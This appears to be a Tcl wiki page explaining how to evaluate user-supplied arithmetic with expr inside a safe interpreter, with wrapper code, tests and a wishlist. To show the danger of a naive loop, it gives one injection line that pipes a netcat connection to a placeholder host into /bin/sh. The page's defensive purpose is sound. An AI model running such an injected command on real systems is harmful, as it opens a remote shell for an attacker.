[aspect] Sometimes it seems like it would be useful to [expr] arbitrary user input, along the lines of: ====== while {[gets stdin ex]} { puts [expr $ex] } ====== .. this is great until the user enters some arbitrary command using \[ characters: ====== [exec nc evilhost evilport | /bin/sh] ====== To get around this we can use a [safe interp] easily enough. There are a few little things we'd like to do to make the environment more useful, like importing constants from ::math::constants .. further improvements are welcome! ====== namespace eval expr { variable slave proc init {} { variable slave set slave [interp create -safe] $slave alias expr expr package require math::constants foreach name [info vars ::math::constants::*] { set val [set $name] set name [namespace tail $name] if {$name == "constants"} continue $slave eval set $name $val } } init proc expr {arg} { variable slave $slave eval expr $arg } } proc test {} { puts [::expr::expr 2+2] puts [::expr::expr atan(100)] puts [::expr::expr pow(\$e,2)] puts [::expr::expr {[open foo]}] ;# this should error! } proc loop {} { while {[gets stdin ex]} { puts [::expr::expr $ex] } ====== Some things that would be nice to add: * remembering the last result in $_ so the user can reference it * catching errors * handling definitions as in [A bc-like calculator] * a way to support [units] would be lovely if someone can think of a nice way of handling the syntax